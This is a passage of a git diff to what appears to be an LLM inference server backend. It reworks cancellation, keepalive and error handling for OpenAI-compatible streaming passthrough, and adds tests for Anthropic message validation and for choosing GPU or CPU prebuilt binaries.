lines_iter, - resp = resp, - client = client, - ) - _tracker.__exit__(None, None, None) + # Same shape as the OpenAI passthrough: a close-time CancelledError + # re-raised by _aclose_stream_resources must not skip the tracker exit. + try: + await _aclose_stream_resources( + watchers = (cancel_watcher, disconnect_watcher), + iterator = lines_iter, + resp = resp, + client = client, + ) + finally: + _tracker.__exit__(None, None, None) for line in emitter.finish(): yield line @@ -11652,6 +12061,9 @@ def _build_openai_passthrough_body( system_prompt, _, _ = _extract_content_parts(payload.messages) messages = _set_or_prepend_system_message(messages, system_prompt) tool_choice = payload.tool_choice if payload.tool_choice is not None else "auto" + tools = payload.tools + if payload.tool_choice == "none" and not _has_openai_tool_history(payload.messages): + tools = None # Forward per-request reasoning fields (enable_thinking / reasoning_effort / # preserve_thinking) via chat_template_kwargs so the Jinja template renders # in the caller's mode, gated on the active template's capabilities exactly @@ -11667,12 +12079,12 @@ def _build_openai_passthrough_body( ) return _build_passthrough_payload( messages, - payload.tools, + tools, payload.temperature, payload.top_p, payload.top_k, # Honor max_completion_tokens on the tools/response_format passthrough too. - _effective_max_tokens(payload), + _effective_openai_max_tokens(payload), payload.stream, stop = payload.stop, min_p = payload.min_p, @@ -11699,30 +12111,23 @@ async def _openai_passthrough_stream( """Streaming client-side pass-through for /v1/chat/completions. Forwards the client's OpenAI function-calling request to llama-server and - relays the SSE stream back verbatim, preserving llama-server's native - response ``id``, ``finish_reason`` (including ``"tool_calls"``), - ``delta.tool_calls``, and any client-requested trailing ``usage`` chunk so - the client sees a standard OpenAI response. + relays the SSE stream back with minimal normalization (reasoning-only + deltas gain ``content: ""``; errors and missing terminal markers get a + closing ``[DONE]``), preserving llama-server's native response ``id``, + ``finish_reason`` (including ``"tool_calls"``), ``delta.tool_calls``, and + any client-requested trailing ``usage`` chunk so the client sees a + standard OpenAI response. Reasoning/tool-call splitting is delegated to llama-server (``--jinja --reasoning-format auto``), so ``delta.content`` carries no raw markup and is deliberately not re-parsed locally, unlike the ``/completion`` paths. """ - target_url = f"{llama_backend.base_url}/v1/chat/completions" - body = _build_openai_passthrough_body( - payload, backend_ctx = llama_backend.context_length, llama_backend = llama_backend - ) - # Text-form tool calls from small models get promoted to structured calls on - # the way back (declared client tools only); requests without tools or with - # auto_heal_tool_calls=false keep the verbatim relay. tool_choice constrains - # the allowlist ("none" disables, a forced function narrows to it). - _allowed_tools = heal_gate( - payload.auto_heal_tool_calls, body.get("tools"), body.get("tool_choice") - ) - _cancel_keys = (payload.cancel_id, payload.session_id, completion_id) _tracker = _TrackedCancel(cancel_event, *_cancel_keys) _tracker.__enter__() + target_url = f"{llama_backend.base_url}/v1/chat/completions" + upstream_headers = _openai_passthrough_upstream_headers(llama_backend = llama_backend) + client = None resp = None send_task: Optional[asyncio.Task[Optional[httpx.Response]]] = None @@ -11744,6 +12149,17 @@ async def _openai_passthrough_stream( # Keep tracker cleanup paired if pre-header dispatch is cancelled. try: + body = _build_openai_passthrough_body( + payload, backend_ctx = llama_backend.context_length, llama_backend = llama_backend + ) + # Text-form tool calls from small models get promoted to structured calls on + # the way back (declared client tools only); requests without tools or with + # auto_heal_tool_calls=false keep the unhealed relay. tool_choice constrains + # the allowlist ("none" disables, a forced function narrows to it). + _allowed_tools = heal_gate( + payload.auto_heal_tool_calls, body.get("tools"), body.get("tool_choice") + ) + # Keep the pre-header window short so accepted SSE clients receive # immediate headers in the common timeout-reduced stall. client = httpx.AsyncClient( @@ -11757,12 +12173,16 @@ async def _openai_passthrough_stream( while True: try: - req = client.build_request( - "POST", target_url, json = body, headers = {"Connection": "close"} - ) + req = client.build_request("POST", target_url, json = body, headers = upstream_headers) first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S send_task = asyncio.create_task( - _send_stream_with_preheader_cancel(client, req, cancel_event, request = request) + _send_stream_with_preheader_cancel( + client, + req, + cancel_event, + request = request, + mark_cancel_on_cancel = False, + ) ) done, _ = await asyncio.wait( {send_task}, @@ -11788,13 +12208,14 @@ async def _openai_passthrough_stream( if resp is None and send_task is not None and not send_task.done(): break if resp is None: + if cancel_event is not None: + cancel_event.set() api_monitor.finish(monitor_id, "cancelled") - await _aclose_send_task(send_task) try: - await client.aclose() - except Exception: - pass - _tracker.__exit__(None, None, None) + await _aclose_send_task(send_task) + await _aclose_stream_resources(client = client) + finally: + _tracker.__exit__(None, None, None) return _SameTaskStreamingResponse( iter(()), media_type = "text/event-stream", @@ -11819,6 +12240,7 @@ async def _openai_passthrough_stream( await resp.aclose() except Exception: pass + resp = None # Opt-in overflow policy: shrink and retry instead of a fatal 400. if ( _truncate_budget > 0 @@ -11847,11 +12269,14 @@ async def _openai_passthrough_stream( disconnect_watcher = None nonlocal resp, send_task, first_token_deadline, _truncate_budget + nonlocal client monitor_done = False saw_finish_reason = False saw_done = False saw_stream_error = False + saw_stream_item = False saw_tool_call_delta = False + terminal_seen = False last_chunk_id = completion_id last_chunk_model = model_name last_chunk_created = int(time.time()) @@ -11912,6 +12337,13 @@ async def _openai_passthrough_stream( lines.append("data: " + json.dumps(chunk, ensure_ascii = False)) return lines + stall_timeout_s = _openai_compat_stream_stall_timeout() + + def _terminal_read_timeout_s() -> Optional[float]: + if terminal_seen: + return _OPENAI_PASSTHROUGH_TERMINAL_GRACE_S + return stall_timeout_s + def _heal_transform(chunk_data: dict, raw_line: str) -> list: """SSE lines to emit in place of one upstream line (healing on).""" choices = chunk_data.get("choices") @@ -11980,24 +12412,47 @@ async def _openai_passthrough_stream( try: while True: - if send_task is not None and not send_task.done(): - try: - resp = await send_task - except httpx.RequestError as e: - logger.error("openai passthrough stream: upstream unreachable: %s", e) - api_monitor.fail(monitor_id, _friendly_error(e)) - yield f"data: {json.dumps(_openai_stream_error_chunk(e))}\n\n" - return - send_task = None - elif send_task is not None: - try: - resp = send_task.result() - except httpx.RequestError as e: - logger.error("openai passthrough stream: upstream unreachable: %s", e) - api_monitor.fail(monitor_id, _friendly_error(e)) - yield f"data: {json.dumps(_openai_stream_error_chunk(e))}\n\n" - return - send_task = None + if send_task is not None: + last_keepalive_at = time.monotonic() + while not send_task.done(): + # Wake often enough that _preheader_cancelled keeps + # cancel/disconnect latency sub-second during prefill; + # keepalives still pace off last_keepalive_at. + wait_timeout = min( + _STREAM_DISCONNECT_POLL_TIMEOUT_S, + _OPENAI_PASSTHROUGH_PENDING_RESPONSE_KEEPALIVE_S, + ) + done, _ = await asyncio.wait( + {send_task}, + timeout = wait_timeout, + return_when = asyncio.FIRST_COMPLETED, + ) + if send_task in done: + break + if await _preheader_cancelled(cancel_event, request): + api_monitor.finish(monitor_id, "cancelled") + return + # The downstream SSE response is already committed; + # keep strict clients and proxies from treating a long + # llama-server prefill/header wait as a dead stream. + now = time.monotonic() + if ( + now - last_keepalive_at + >= _OPENAI_PASSTHROUGH_PENDING_RESPONSE_KEEPALIVE_S + ): + last_keepalive_at = now + yield _OPENAI_PASSTHROUGH_SSE_KEEPALIVE + if resp is None: + try: + resp = send_task.result() + except httpx.RequestError as e: + logger.error( + "openai passthrough stream: upstream unreachable: %s", e + ) + api_monitor.fail(monitor_id, _friendly_error(e)) + yield _openai_stream_error_sse(_openai_stream_error_chunk(e)) + return + send_task = None if resp is None: api_monitor.finish(monitor_id, "cancelled") @@ -12025,12 +12480,16 @@ async def _openai_passthrough_stream( ): _truncate_budget -= 1 req = client.build_request( - "POST", target_url, json = body, headers = {"Connection": "close"} + "POST", target_url, json = body, headers = upstream_headers ) first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S send_task = asyncio.create_task( _send_stream_with_preheader_cancel( - client, req, cancel_event, request = request + client, + req, + cancel_event, + request = request, + mark_cancel_on_cancel = False, ) ) continue @@ -12045,7 +12504,7 @@ async def _openai_passthrough_stream( ) ) api_monitor.fail(monitor_id, err_text[:500]) - yield f"data: {json.dumps(error_payload)}\n\n" + yield _openai_stream_error_sse(error_payload) return cancel_watcher = asyncio.create_task(_await_cancel_then_close(cancel_event, resp)) @@ -12059,12 +12518,14 @@ async def _openai_passthrough_stream( request = request, first_token_deadline = first_token_deadline, response = resp, + post_first_item_read_timeout_s = _terminal_read_timeout_s, ): if not raw_line: continue - if not raw_line.startswith("data: "): + if not raw_line.startswith("data:"): continue - data_text = raw_line[6:].strip() + saw_stream_item = True + data_text = raw_line[5:].strip() if data_text == "[DONE]": saw_done = True # Upstream ended without a finish chunk: heal the residue @@ -12096,13 +12557,11 @@ async def _openai_passthrough_stream( yield raw_line + "\n\n" monitor_done = True break - # Honor parallel_tool_calls=false (best-effort): drop tool_call - # deltas with index>=1 so only the first call streams. Only - # lines carrying tool_calls are reparsed; everything else is - # relayed byte-for-byte. - if payload.parallel_tool_calls is False and '"tool_calls"' in raw_line: - raw_line = _cap_parallel_tool_calls_sse_line(raw_line) - data_text = raw_line[6:].strip() + raw_line = _normalize_openai_passthrough_sse_line( + raw_line, + cap_parallel_tool_calls = payload.parallel_tool_calls is False, + ) + data_text = raw_line[5:].strip() try: chunk_data = json.loads(data_text) except json.JSONDecodeError: @@ -12129,8 +12588,9 @@ async def _openai_passthrough_stream( if _monitor_openai_error_message(chunk_data): saw_stream_error = True # With healing active, a content-bearing line may be replaced by - # held/promoted chunks; otherwise the single upstream line - # relays verbatim (monitored exactly as emitted either way). + # held/promoted chunks; otherwise the single (already + # normalized) line relays unchanged (monitored exactly as + # emitted either way). if ( healer is not None and not healer.dormant @@ -12180,6 +12640,27 @@ async def _openai_passthrough_stream( yield out_line + "\n\n" if monitor_event == "done": monitor_done = True + break + terminal_state = ( + _openai_passthrough_terminal_state_from_data(chunk_data) + if out_line is raw_line + else _openai_passthrough_sse_line_terminal_state(out_line) + ) + if terminal_state == "usage" or ( + terminal_state == "finish" and not _wants_stream_usage(payload) + ): + done_line = _SSE_DONE_LINE + _monitor_openai_sse_line( + monitor_id, + done_line, + llama_backend.context_length, + ) + yield done_line + "\n\n" + saw_done = True + monitor_done = True + break + if terminal_state == "finish": + terminal_seen = True if monitor_done: break if not saw_done and not saw_stream_error and not cancel_event.is_set(): @@ -12201,7 +12682,7 @@ async def _openai_passthrough_stream( llama_backend.context_length, ) yield finish_line + "\n\n" - done_line = "data: [DONE]" + done_line = _SSE_DONE_LINE _monitor_openai_sse_line( monitor_id, done_line, @@ -12217,6 +12698,29 @@ async def _openai_passthrough_stream( except asyncio.CancelledError: api_monitor.finish(monitor_id, "cancelled") raise + except httpx.ReadTimeout as e: + if terminal_seen and not saw_stream_error and not cancel_event.is_set(): + done_line = _SSE_DONE_LINE + _monitor_openai_sse_line( + monitor_id, + done_line, + llama_backend.context_length, + ) + yield done_line + "\n\n" + api_monitor.finish(monitor_id) + return + if cancel_event.is_set(): + api_monitor.finish(monitor_id, "cancelled") + return + logger.error( + "openai passthrough stream %s: %s", + "stalled mid-response" if saw_stream_item else "timeout", + e, + ) + api_monitor.fail(monitor_id, _friendly_error(e)) + get_llama_cpp_backend()._maybe_recover_from_mtp_crash(e) + err = _openai_stream_error_chunk(e) + yield _openai_stream_error_sse(err) except (httpx.RemoteProtocolError, httpx.ReadError, httpx.CloseError) as e: # Watcher closed resp on cancel. Emit nothing extra; the client # initiated the cancel or already disconnected. @@ -12225,6 +12729,16 @@ async def _openai_passthrough_stream( get_llama_cpp_backend()._maybe_recover_from_mtp_crash(e) raise api_monitor.finish(monitor_id, "cancelled") + except HTTPException as exc: + status_code = getattr(exc, "status_code", 500) or 500 + detail = exc.detail + error_payload = ( + detail + if isinstance(detail, dict) and "error" in detail + else openai_error_body(str(detail), status = status_code) + ) + api_monitor.fail(monitor_id, str(detail)) + yield _openai_stream_error_sse(error_payload) except Exception as e: if cancel_event.is_set(): api_monitor.finish(monitor_id, "cancelled") @@ -12234,25 +12748,31 @@ async def _openai_passthrough_stream( api_monitor.fail(monitor_id, _friendly_error(e)) get_llama_cpp_backend()._maybe_recover_from_mtp_crash(e) err = _openai_stream_error_chunk(e) - yield f"data: {json.dumps(err)}\n\n" + yield _openai_stream_error_sse(err) finally: - await _aclose_send_task(send_task) - await _aclose_stream_resources( - watchers = (cancel_watcher, disconnect_watcher), - iterator = lines_iter, - resp = resp, - client = client, - ) - _tracker.__exit__(None, None, None) + # _aclose_stream_resources re-raises a close-time CancelledError + # only after finishing teardown, and the tracker exits either way. + try: + await _aclose_send_task(send_task) + await _aclose_stream_resources( + watchers = (cancel_watcher, disconnect_watcher), + iterator = lines_iter, + resp = resp, + client = client, + ) + finally: + _tracker.__exit__(None, None, None) async def _unstarted_cleanup() -> None: # Client disconnected before the body stream started, so _stream()'s # finally never ran. Release the eagerly-opened upstream resp/client # and the cancel-registry entry here; the watchers and line iterator # are created inside _stream(), so there is nothing else to close. - await _aclose_send_task(send_task) - await _aclose_stream_resources(resp = resp, client = client) - _tracker.__exit__(None, None, None) + try: + await _aclose_send_task(send_task) + await _aclose_stream_resources(resp = resp, client = client) + finally: + _tracker.__exit__(None, None, None) return _SameTaskStreamingResponse( _stream(), @@ -12264,10 +12784,19 @@ async def _openai_passthrough_stream( }, unstarted_cleanup = _unstarted_cleanup, ) - except BaseException: - await _aclose_send_task(send_task) - await _aclose_stream_resources(resp = resp, client = client) - _tracker.__exit__(None, None, None) + except BaseException as exc: + if isinstance(exc, asyncio.CancelledError): + if cancel_event is not None: + cancel_event.set() + api_monitor.finish(monitor_id, "cancelled") + else: + detail = exc.detail if isinstance(exc, HTTPException) else _friendly_error(exc) + api_monitor.fail(monitor_id, str(detail)) + try: + await _aclose_send_task(send_task) + await _aclose_stream_resources(resp = resp, client = client) + finally: + _tracker.__exit__(None, None, None) raise @@ -12276,6 +12805,9 @@ async def _openai_passthrough_non_streaming( payload, model_name, monitor_id: Optional[str] = None, + *, + request: Optional[Request] = None, + cancel_event = None, ): """Non-streaming client-side pass-through for /v1/chat/completions. @@ -12284,20 +12816,67 @@ async def _openai_passthrough_non_streaming( ``tool_calls``, and accurate ``usage`` token counts. """ target_url = f"{llama_backend.base_url}/v1/chat/completions" + upstream_headers = _openai_passthrough_upstream_headers(llama_backend = llama_backend) body = _build_openai_passthrough_body( payload, backend_ctx = llama_backend.context_length, llama_backend = llama_backend ) + body["stream"] = False + body.pop("stream_options", None) _truncate_budget = ( _OVERFLOW_TRUNCATE_MAX_RETRIES if _overflow_truncation_requested(payload) else 0 ) - while True: - try: - resp = await nonstreaming_client().post( + + async def _post(body_to_send): + if cancel_event is None and request is None: + return await nonstreaming_client().post( target_url, - json = body, + json = body_to_send, + headers = upstream_headers, timeout = _llama_non_streaming_generation_timeout(), ) + + if cancel_event is None: + cancel = threading.Event() + else: + cancel = cancel_event + client = _cancelable_nonstreaming_client() + watcher = asyncio.create_task( + _await_cancel_or_disconnect_then_close_client( + cancel_event = cancel, + request = request, + client = client, + ) + ) + try: + try: + response = await client.post( + target_url, + json = body_to_send, + headers = upstream_headers, + timeout = _llama_non_streaming_generation_timeout(), + ) + except httpx.RequestError: + if cancel.is_set(): + raise asyncio.CancelledError() + raise + if cancel.is_set(): + raise asyncio.CancelledError() + return response + finally: + watcher.cancel() + try: + await watcher + except (asyncio.CancelledError, Exception): + pass + try: + await client.aclose() + except Exception: + pass + + while True: + try: + resp = await _post(body) except asyncio.CancelledError: api_monitor.finish(monitor_id, "cancelled") raise @@ -12365,15 +12944,14 @@ async def _openai_passthrough_non_streaming( "messages": [*body.get("messages", []), *nudge_messages(data, _allowed_tools)], } try: - retry_resp = await nonstreaming_client().post( - target_url, - json = retry_body, - timeout = _llama_non_streaming_generation_timeout(), - ) + retry_resp = await _post(retry_body) if retry_resp.status_code == 200: retry_data = retry_resp.json() if response_has_promotable_calls(retry_data, _allowed_tools, body.get("tools")): resp, data = retry_resp, retry_data + except asyncio.CancelledError: + api_monitor.finish(monitor_id, "cancelled") + raise except (httpx.RequestError, ValueError) as exc: logger.warning("tool-call nudge retry failed; keeping original: %s", exc) diff --git a/studio/backend/tests/test_anthropic_messages.py b/studio/backend/tests/test_anthropic_messages.py index 0c6550a3bb..54454f6563 100644 --- a/studio/backend/tests/test_anthropic_messages.py +++ b/studio/backend/tests/test_anthropic_messages.py @@ -1770,3 +1770,187 @@ class TestAnthropicMessagesToolRouting: _drive(anthropic_messages(payload, request = None, current_subject = "t")) assert backend.calls[0][0] == "plain" + + +def test_resumed_session_thinking_and_null_content_do_not_400(): + # A resumed session replays assistant turns with `thinking` (and sometimes null) + # content. Those must be accepted (thinking dropped by the converter), not 400ed. + from pydantic import ValidationError + + req = AnthropicMessagesRequest( + model = "x", + max_tokens = 16, + messages = [ + {"role": "user", "content": "hi"}, + { + "role": "assistant", + "content": [ + {"type": "thinking", "thinking": "secret reasoning", "signature": "s"}, + {"type": "text", "text": "the answer"}, + {"type": "tool_use", "id": "t1", "name": "f", "input": {}}, + ], + }, + {"role": "assistant", "content": None}, # tool-only turn serialized as null + ], + ) + # Known blocks still parse as their typed models; only the unknown one is loose. + assert type(req.messages[1].content[0]).__name__ == "AnthropicUnknownBlock" + assert type(req.messages[1].content[1]).__name__ == "AnthropicTextBlock" + assert req.messages[2].content == "" # null coerced + + openai = anthropic_messages_to_openai([m.model_dump() for m in req.messages]) + assistant = next(m for m in openai if m["role"] == "assistant" and m.get("content")) + assert assistant["content"] == "the answer" + assert "secret reasoning" not in json.dumps(openai) # thinking never forwarded + + # A malformed KNOWN block still fails cleanly instead of being swallowed. + with pytest.raises(ValidationError): + AnthropicMessagesRequest( + model = "x", + max_tokens = 16, + messages = [{"role": "assistant", "content": [{"type": "tool_use", "name": "f"}]}], + ) + + +def test_user_null_content_rejected(): + # The null->"" leniency is assistant-only; a null user content must be rejected + # at the boundary, not coerced into an empty prompt and forwarded to the model. + from pydantic import ValidationError + with pytest.raises(ValidationError): + AnthropicMessagesRequest( + model = "x", + max_tokens = 16, + messages = [{"role": "user", "content": None}], + ) + + +def test_user_unknown_block_rejected_not_silently_dropped(): + # The converter skips user blocks it cannot translate, so a user turn whose only + # block is unknown would validate yet forward no content. Reject at the boundary + # to avoid that silent data loss (the assistant fallback is unaffected). + from pydantic import ValidationError + with pytest.raises(ValidationError): + AnthropicMessagesRequest( + model = "x", + max_tokens = 16, + messages = [ + {"role": "user", "content": [{"type": "document", "source": {}}]}, + ], + ) + + +def test_user_translatable_blocks_still_accepted(): + # text / image / tool_result are translatable, so a real user message built from + # them must still pass; the unknown-block guard only trips on other types. + req = AnthropicMessagesRequest( + model = "x", + max_tokens = 16, + messages = [ + { + "role": "user", + "content": [ + {"type": "text", "text": "What is this?"}, + { + "type": "image", + "source": {"type": "base64", "media_type": "image/png", "data": "AA"}, + }, + {"type": "tool_result", "tool_use_id": "t1", "content": "ok"}, + ], + } + ], + ) + assert [type(b).__name__ for b in req.messages[0].content] == [ + "AnthropicTextBlock", + "AnthropicImageBlock", + "AnthropicToolResultBlock", + ] + + openai = anthropic_messages_to_openai([m.model_dump() for m in req.messages]) + assert any(m["role"] == "tool" and m["tool_call_id"] == "t1" for m in openai) + + +def test_user_malformed_known_block_still_rejected(): + # The guard only allow-lists a user block's *type*; the union still validates its + # shape, so a known-but-malformed block (tool_result without tool_use_id) fails. + from pydantic import ValidationError + with pytest.raises(ValidationError): + AnthropicMessagesRequest( + model = "x", + max_tokens = 16, + messages = [ + {"role": "user", "content": [{"type": "tool_result", "content": "x"}]}, + ], + ) + + +def test_user_content_block_non_string_type_rejected_cleanly(): + # A user block whose `type` is a non-string (unhashable list / dict, or a stray + # int) must fail as a clean validation error, not raise TypeError from the + # frozenset membership test and escape as a 500. + from pydantic import ValidationError + for bad_type in ([], {}, 5): + with pytest.raises(ValidationError): + AnthropicMessagesRequest( + model = "x", + max_tokens = 16, + messages = [{"role": "user", "content": [{"type": bad_type}]}], + ) + + +def test_assistant_missing_content_key_still_rejected(): + # The null -> "" leniency is only for an EXPLICIT null. An assistant message that + # omits content entirely stays malformed and must fail required-field validation. + from pydantic import ValidationError + + with pytest.raises(ValidationError): + AnthropicMessagesRequest( + model = "x", + max_tokens = 16, + messages = [{"role": "assistant"}], + ) + # An explicit null is still accepted and coerced (regression guard). + req = AnthropicMessagesRequest( + model = "x", + max_tokens = 16, + messages = [ + {"role": "user", "content": "hi"}, + {"role": "assistant", "content": None}, + ], + ) + assert req.messages[1].content == "" + + +def test_resumed_null_assistant_between_users_coalesced_on_messages_route(monkeypatch): + # user -> assistant(null) -> user is now accepted: the null assistant turn coerces + # to "" and is dropped. The route must then coalesce the two remaining user turns + # so a strict GGUF chat template does not 400 on non-alternating roles. + backend = _mock_backend(monkeypatch, context_length = 2048) + + class _Req: + state = SimpleNamespace() + url = SimpleNamespace(path = "/v1/messages") + method = "POST" + + async def is_disconnected(self): + return False + + payload = AnthropicMessagesRequest( + model = "x", + max_tokens = 16, + messages = [ + {"role": "user", "content": "first question"}, + {"role": "assistant", "content": None}, + {"role": "user", "content": "please continue"}, + ], + ) + + response = _drive(anthropic_messages(payload, request = _Req(), current_subject = "t")) + assert response.status_code == 200 + + [(_path, kwargs)] = backend.calls + user_turns = [m for m in kwargs["messages"] if m.get("role") == "user"] + assert len(user_turns) == 1 # the two user turns were merged, not left adjacent + merged = user_turns[0]["content"] + if isinstance(merged, list): + merged = " ".join(p.get("text", "") for p in merged if isinstance(p, dict)) + assert "first question" in merged and "please continue" in merged diff --git a/studio/backend/tests/test_inference_dispatcher_resilience.py b/studio/backend/tests/test_inference_dispatcher_resilience.py index 60d7503485..6184496d78 100644 --- a/studio/backend/tests/test_inference_dispatcher_resilience.py +++ b/studio/backend/tests/test_inference_dispatcher_resilience.py @@ -112,7 +112,7 @@ def test_route_llama_streaming_async_clients_disable_proxy_env(): continue calls.append(node) - assert len(calls) == 4 + assert len(calls) == 5 for call in calls: assert any( kw.arg == "trust_env" and isinstance(kw.value, ast.Constant) and kw.value.value is False diff --git a/studio/backend/tests/test_install_resolve_prebuilt.py b/studio/backend/tests/test_install_resolve_prebuilt.py index b825172a63..090d2932ea 100644 --- a/studio/backend/tests/test_install_resolve_prebuilt.py +++ b/studio/backend/tests/test_install_resolve_prebuilt.py @@ -55,6 +55,27 @@ def _host(**kw): return ilp.HostInfo(**base) +def test_force_cpu_clears_all_gpu_attributes_including_intel(): + # --cpu-fallback is the "select the CPU prebuilt even when a GPU is present" + # escape hatch. It must drop EVERY GPU attribute, including has_intel_gpu, or + # the planner still prepends the Vulkan asset on an Intel-GPU host. + host = _host( + is_linux = True, + is_x86_64 = True, + has_usable_nvidia = True, + has_physical_nvidia = True, + has_rocm = True, + rocm_gfx_target = "gfx1100", + has_intel_gpu = True, + ) + forced = ilp._apply_host_overrides(host, force_cpu = True) + assert forced.has_usable_nvidia is False + assert forced.has_physical_nvidia is False + assert forced.has_rocm is False + assert forced.rocm_gfx_target is None + assert forced.has_intel_gpu is False + + def test_macos_upstream_pin_only_for_explicit_pre26_upstream(): pre26 = _host( system = "Darwin", @@ -313,3 +334,152 @@ def test_sm103_host_drops_cuda128_windows_build(): ) kept_b200 = ilp._drop_blackwell_incapable_windows_cuda(b200, [cuda128, cuda129]) assert [a.name for a in kept_b200] == [cuda128.name, cuda129.name] + + +def _upstream_release(tag, asset_names): + return { + "tag_name": tag, + "assets": [ + {"name": n, "browser_download_url": f"https://example/{n}"} for n in asset_names + ], + } + + +def test_direct_upstream_arm64_intel_prefers_vulkan(): + # Auto-detected Intel GPU on Linux arm64 -> Vulkan prebuilt first, CPU + # second (mirrors the x86_64 branch; ggml-org ships the arm64 Vulkan asset). + host = _host(is_linux = True, is_arm64 = True, machine = "aarch64", has_intel_gpu = True) + rel = _upstream_release( + "b9925", + ["llama-b9925-bin-ubuntu-vulkan-arm64.tar.gz", "llama-b9925-bin-ubuntu-arm64.tar.gz"], + ) + plan = ilp.direct_upstream_release_plan(rel, host, UPSTREAM, "latest") + kinds = [a.install_kind for a in plan.attempts] + assert kinds[0] == "linux-vulkan", kinds + assert "linux-arm64" in kinds + assert plan.attempts[0].name == "llama-b9925-bin-ubuntu-vulkan-arm64.tar.gz" + + +def test_direct_upstream_intel_with_hidden_nvidia_is_cpu_only(): + # A host with a physical NVIDIA hidden via CUDA_VISIBLE_DEVICES (physical + # True, usable False) + an Intel iGPU must NOT get the Vulkan archive even + # when planning directly against upstream: Vulkan ignores CUDA_VISIBLE_DEVICES + # and could grab the reserved card. It falls through to the CPU asset. + host = _host( + is_linux = True, + is_x86_64 = True, + has_intel_gpu = True, + has_physical_nvidia = True, + has_usable_nvidia = False, + ) + rel = _upstream_release( + "b9925", + ["llama-b9925-bin-ubuntu-vulkan-x64.tar.gz", "llama-b9925-bin-ubuntu-x64.tar.gz"], + ) + plan = ilp.direct_upstream_release_plan(rel, host, UPSTREAM, "latest") + assert [a.install_kind for a in plan.attempts] == ["linux-cpu"] + + +def test_direct_upstream_arm64_without_intel_is_cpu_only(): + host = _host(is_linux = True, is_arm64 = True, machine = "aarch64") + rel = _upstream_release( + "b9925", + ["llama-b9925-bin-ubuntu-vulkan-arm64.tar.gz", "llama-b9925-bin-ubuntu-arm64.tar.gz"], + ) + plan = ilp.direct_upstream_release_plan(rel, host, UPSTREAM, "latest") + assert [a.install_kind for a in plan.attempts] == ["linux-arm64"] + + +def test_direct_upstream_x86_intel_prefers_vulkan(): + host = _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True) + rel = _upstream_release( + "b9925", + ["llama-b9925-bin-ubuntu-vulkan-x64.tar.gz", "llama-b9925-bin-ubuntu-x64.tar.gz"], + ) + plan = ilp.direct_upstream_release_plan(rel, host, UPSTREAM, "latest") + kinds = [a.install_kind for a in plan.attempts] + assert kinds[0] == "linux-vulkan", kinds + assert "linux-cpu" in kinds + + +def test_linux_vulkan_health_glob_matches_bare_cpu_lib(): + # The widened glob must cover both arch-suffixed (x64) and bare (arm64) CPU + # libs so a valid Vulkan install is not re-flagged unhealthy every check. + choice = ilp.AssetChoice( + repo = UPSTREAM, + tag = "b9925", + name = "llama-b9925-bin-ubuntu-vulkan-arm64.tar.gz", + url = "https://example/x", + source_label = "upstream", + install_kind = "linux-vulkan", + ) + groups = ilp.runtime_payload_health_groups(choice) + assert ["libggml-cpu*.so*"] in groups + assert ["libggml-cpu-*.so*"] not in groups + + +def test_route_to_vulkan_prebuilt_auto_intel_goes_upstream_and_drops_fork_pin(): + # Routing fork -> upstream also drops the fork release pin, which is in a + # different tag namespace and would make the upstream resolver miss. + host = _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True) + routed, repo, tag = ilp._route_to_vulkan_prebuilt(host, FORK, "b9596-mix-abc", force_cpu = False) + assert repo == UPSTREAM + assert tag == "" + assert routed.has_intel_gpu is True + + +def test_route_to_vulkan_prebuilt_preserves_explicit_upstream_pin(): + # A pin set WITH an explicit upstream repo is already on upstream -> kept. + host = _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True) + _routed, repo, tag = ilp._route_to_vulkan_prebuilt(host, UPSTREAM, "b9596", force_cpu = False) + assert repo == UPSTREAM + assert tag == "b9596" + + +def test_route_to_vulkan_prebuilt_cpu_fallback_wins(): + # --cpu-fallback suppresses Vulkan routing even for an Intel host. + host = _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True) + routed, repo, tag = ilp._route_to_vulkan_prebuilt(host, FORK, "b9596-mix-abc", force_cpu = True) + assert repo == FORK + assert tag == "b9596-mix-abc" + assert routed is host + + +def test_route_to_vulkan_prebuilt_hidden_nvidia_not_rerouted(): + # A mixed NVIDIA+Intel host that hid NVIDIA (CUDA_VISIBLE_DEVICES=""/-1): + # physical NVIDIA present but not usable. Must NOT auto-route to Vulkan, or + # Vulkan (which ignores CUDA_VISIBLE_DEVICES) could grab the reserved GPU. + host = _host( + is_linux = True, + is_x86_64 = True, + has_intel_gpu = True, + has_physical_nvidia = True, + has_usable_nvidia = False, + ) + _routed, repo, _tag = ilp._route_to_vulkan_prebuilt(host, FORK, "", force_cpu = False) + assert repo == FORK + + +def test_route_to_vulkan_prebuilt_rocm_host_not_rerouted(): + # An Intel iGPU alongside a usable ROCm GPU stays on its ROCm/fork path. + host = _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True, has_rocm = True) + _routed, repo, _tag = ilp._route_to_vulkan_prebuilt(host, FORK, "", force_cpu = False) + assert repo == FORK + + +def test_route_to_vulkan_prebuilt_non_intel_unchanged(): + host = _host(is_linux = True, is_x86_64 = True) + routed, repo, _tag = ilp._route_to_vulkan_prebuilt(host, FORK, "", force_cpu = False) + assert repo == FORK + assert routed is host + + +def test_resolve_prebuilt_intel_host_routes_to_upstream(monkeypatch, capsys): + # The --resolve-prebuilt probe must agree with the install path: an + # auto-detected Intel host resolves against upstream (Vulkan), not the fork. + monkeypatch.setattr( + ilp, "detect_host", lambda: _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True) + ) + seen, out = _run_resolve_capture_host(monkeypatch, capsys) + assert seen["repo"] == UPSTREAM + assert out["repo"] == UPSTREAM diff --git a/studio/backend/tests/test_llama_cpp_stream_cancel.py b/studio/backend/tests/test_llama_cpp_stream_cancel.py new file mode 100644 index 0000000000..1c73f4d17c --- /dev/null +++ b/studio/backend/tests/test_llama_cpp_stream_cancel.py @@ -0,0 +1,81 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. + +import contextlib +import os +import sys +import threading + +import httpx +import pytest + +_backend = os.path.join(os.path.dirname(__file__), "..") +sys.path.insert(0, _backend) + +from core.inference.llama_cpp import LlamaCppBackend, _LlamaStreamCancelled + + +def _backend_stub() -> LlamaCppBackend: + backend = LlamaCppBackend.__new__(LlamaCppBackend) + backend._process = object() + backend._healthy = True + backend._port = 48848 + backend._effective_context_length = 4096 + backend._supports_reasoning = False + backend._reasoning_always_on = False + 